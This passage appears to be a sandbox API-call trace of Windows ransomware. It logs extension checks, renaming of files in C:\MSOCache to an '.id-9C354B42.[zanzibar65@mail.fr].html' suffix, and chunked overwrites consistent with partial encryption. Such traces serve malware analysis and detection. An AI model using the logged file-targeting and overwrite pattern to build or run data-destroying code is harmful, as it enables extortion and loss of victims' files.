(lpString=".bz2") returned 4 [0046.114] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0046.114] lstrlenW (lpString=".7z") returned 3 [0046.114] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0046.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.114] lstrlenW (lpString=".dbf") returned 4 [0046.114] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0046.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.114] lstrlenW (lpString=".1cd") returned 4 [0046.114] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0046.114] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0046.114] lstrlenW (lpString=".jpg") returned 4 [0046.114] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0046.115] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0046.115] lstrlenW (lpString="osetup.dll") returned 10 [0046.115] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.115] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=7378792) returned 1 [0046.115] CloseHandle (hObject=0x1e8) returned 1 [0046.115] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0046.115] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0046.115] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0046.116] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0046.116] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0046.116] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0046.116] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.126] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0046.126] ReadFile (in: hFile=0x1e8, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.157] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.157] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0046.157] ReadFile (in: hFile=0x1e8, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.472] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0046.472] WriteFile (in: hFile=0x1e8, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0046.776] SetEndOfFile (hFile=0x1e8) returned 1 [0046.777] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0046.777] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0046.777] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.778] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0046.778] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.780] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0046.780] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.781] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0046.781] CloseHandle (hObject=0x1e8) returned 1 [0046.781] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0046.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.782] lstrlenW (lpString=".doc") returned 4 [0046.782] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.782] lstrlenW (lpString=".docx") returned 5 [0046.782] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0046.782] lstrlenW (lpString=".pdf") returned 4 [0046.782] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.782] lstrlenW (lpString=".xls") returned 4 [0046.782] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.782] lstrlenW (lpString=".xlsx") returned 5 [0046.782] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0046.782] lstrlenW (lpString=".ppt") returned 4 [0046.782] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.782] lstrlenW (lpString=".zip") returned 4 [0046.782] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.782] lstrlenW (lpString=".rar") returned 4 [0046.782] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.782] lstrlenW (lpString=".bz2") returned 4 [0046.782] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.782] lstrlenW (lpString=".7z") returned 3 [0046.782] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.782] lstrlenW (lpString=".dbf") returned 4 [0046.782] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.782] lstrlenW (lpString=".1cd") returned 4 [0046.783] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.783] lstrlenW (lpString=".jpg") returned 4 [0046.783] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.783] lstrlenW (lpString=".doc") returned 4 [0046.783] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0046.783] lstrlenW (lpString=".docx") returned 5 [0046.783] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0046.783] lstrlenW (lpString=".pdf") returned 4 [0046.783] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0046.783] lstrlenW (lpString=".xls") returned 4 [0046.783] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0046.783] lstrlenW (lpString=".xlsx") returned 5 [0046.783] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0046.783] lstrlenW (lpString=".ppt") returned 4 [0046.783] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0046.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.783] lstrlenW (lpString=".zip") returned 4 [0046.783] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0046.783] lstrlenW (lpString=".rar") returned 4 [0046.783] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0046.783] lstrlenW (lpString=".bz2") returned 4 [0046.783] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0046.783] lstrlenW (lpString=".7z") returned 3 [0046.783] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0046.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.783] lstrlenW (lpString=".dbf") returned 4 [0046.783] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0046.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.783] lstrlenW (lpString=".1cd") returned 4 [0046.784] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0046.784] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0046.784] lstrlenW (lpString=".jpg") returned 4 [0046.784] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0046.784] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0046.784] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0046.784] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.277] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=222948913) returned 1 [0048.277] CloseHandle (hObject=0x210) returned 1 [0048.277] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0048.277] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.277] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[zanzibar65@mail.fr].html")) returned 1 [0048.277] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.277] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0x0) returned 1 [0048.278] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0048.278] ReadFile (in: hFile=0x210, lpBuffer=0x3b50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b50058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.285] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0048.285] ReadFile (in: hFile=0x210, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.294] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2fffc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.294] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc2c | out: lpNewFilePointer=0x0) returned 1 [0048.294] ReadFile (in: hFile=0x210, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2fffc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x2fffc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.309] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0048.309] WriteFile (in: hFile=0x210, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2fffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0048.452] SetEndOfFile (hFile=0x210) returned 1 [0048.452] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x40000) returned 0x3f4c2e0 [0048.452] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0048.452] WriteFile (in: hFile=0x210, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.453] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0048.453] WriteFile (in: hFile=0x210, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.455] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2fffc7c | out: lpNewFilePointer=0x0) returned 1 [0048.455] WriteFile (in: hFile=0x210, lpBuffer=0x3f4c2e0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2fffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f4c2e0*, lpNumberOfBytesWritten=0x2fffc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.457] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x3f4c2e0 | out: hHeap=0x220000) returned 1 [0048.457] CloseHandle (hObject=0x210) returned 1 [0048.458] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x2020) returned 1 [0048.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.458] lstrlenW (lpString=".doc") returned 4 [0048.458] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.458] lstrlenW (lpString=".docx") returned 5 [0048.458] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0048.458] lstrlenW (lpString=".pdf") returned 4 [0048.458] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.458] lstrlenW (lpString=".xls") returned 4 [0048.458] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.458] lstrlenW (lpString=".xlsx") returned 5 [0048.458] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0048.458] lstrlenW (lpString=".ppt") returned 4 [0048.458] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.458] lstrlenW (lpString=".zip") returned 4 [0048.458] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.458] lstrlenW (lpString=".rar") returned 4 [0048.458] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.458] lstrlenW (lpString=".bz2") returned 4 [0048.458] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.458] lstrlenW (lpString=".7z") returned 3 [0048.458] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.458] lstrlenW (lpString=".dbf") returned 4 [0048.458] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.458] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.458] lstrlenW (lpString=".1cd") returned 4 [0048.459] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.459] lstrlenW (lpString=".jpg") returned 4 [0048.459] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.459] lstrlenW (lpString=".doc") returned 4 [0048.459] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.459] lstrlenW (lpString=".docx") returned 5 [0048.459] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0048.459] lstrlenW (lpString=".pdf") returned 4 [0048.459] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.459] lstrlenW (lpString=".xls") returned 4 [0048.459] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.459] lstrlenW (lpString=".xlsx") returned 5 [0048.459] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0048.459] lstrlenW (lpString=".ppt") returned 4 [0048.459] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.459] lstrlenW (lpString=".zip") returned 4 [0048.459] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.459] lstrlenW (lpString=".rar") returned 4 [0048.459] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.459] lstrlenW (lpString=".bz2") returned 4 [0048.459] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.459] lstrlenW (lpString=".7z") returned 3 [0048.459] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.459] lstrlenW (lpString=".dbf") returned 4 [0048.459] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.459] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.459] lstrlenW (lpString=".1cd") returned 4 [0048.460] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0048.460] lstrlenW (lpString=".jpg") returned 4 [0048.460] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.460] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0048.460] lstrlenW (lpString="PidGenX.dll") returned 11 [0048.460] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.246] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=1463568) returned 1 [0050.246] CloseHandle (hObject=0x1f4) returned 1 [0050.246] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0050.246] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0050.246] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0050.246] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.246] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0050.246] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.246] GetLastError () returned 0x0 [0050.246] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0xffff0, lpOverlapped=0x0) returned 1 [0050.268] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0050.287] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x65520, lpOverlapped=0x0) returned 1 [0050.709] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesWritten=0x2fffc9c*=0x65530, lpOverlapped=0x0) returned 1 [0050.718] ReadFile (in: hFile=0x1f4, lpBuffer=0x3b50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3b50020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0050.719] WriteFile (in: hFile=0x20c, lpBuffer=0x3b50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fffc9c, 